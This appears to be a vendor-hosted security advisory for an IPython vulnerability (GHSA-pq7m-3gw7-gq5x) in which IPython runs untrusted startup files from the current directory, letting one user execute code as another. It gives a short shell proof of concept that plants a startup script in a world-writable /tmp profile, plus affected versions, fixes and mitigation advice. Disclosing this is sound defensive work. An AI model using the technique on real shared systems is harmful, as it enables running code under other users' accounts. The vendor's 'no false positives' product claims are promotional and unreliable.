GHSA-pq7m-3gw7-gq5x
HIGHExecution with Unnecessary Privileges in ipython
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
ipython🐍ipython🐍ipython🐍ipythonReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another.
Proof of concept
User1:
mkdir -m 777 /tmp/profile_default
mkdir -m 777 /tmp/profile_default/startup
echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.py
User2:
cd /tmp
ipython
User2 will see:
Python 3.9.7 (default, Oct 25 2021, 01:04:21)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help.
stealing your private secrets
Patched release and documentation
See https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699,
Version 8.0.1, 7.31.1 for current Python version are recommended. Version 7.16.3 has also been published for Python 3.6 users, Version 5.11 (source only, 5.x branch on github) for older Python versions.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | ipython | all versions | 5.11 |
| 🐍PyPI | ipython | ≥ 6.0.0&&< 7.16.3 | 7.16.3 |
| 🐍PyPI | ipython | ≥ 7.17.0&&< 7.31.1 | 7.31.1 |
| 🐍PyPI | ipython | ≥ 8.0.0&&< 8.0.1 | 8.0.1 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ipython. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update ipython to 5.11 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-pq7m-3gw7-gq5x is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-pq7m-3gw7-gq5x is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-pq7m-3gw7-gq5x. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-pq7m-3gw7-gq5x in your dependencies?
O3 detects GHSA-pq7m-3gw7-gq5x across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.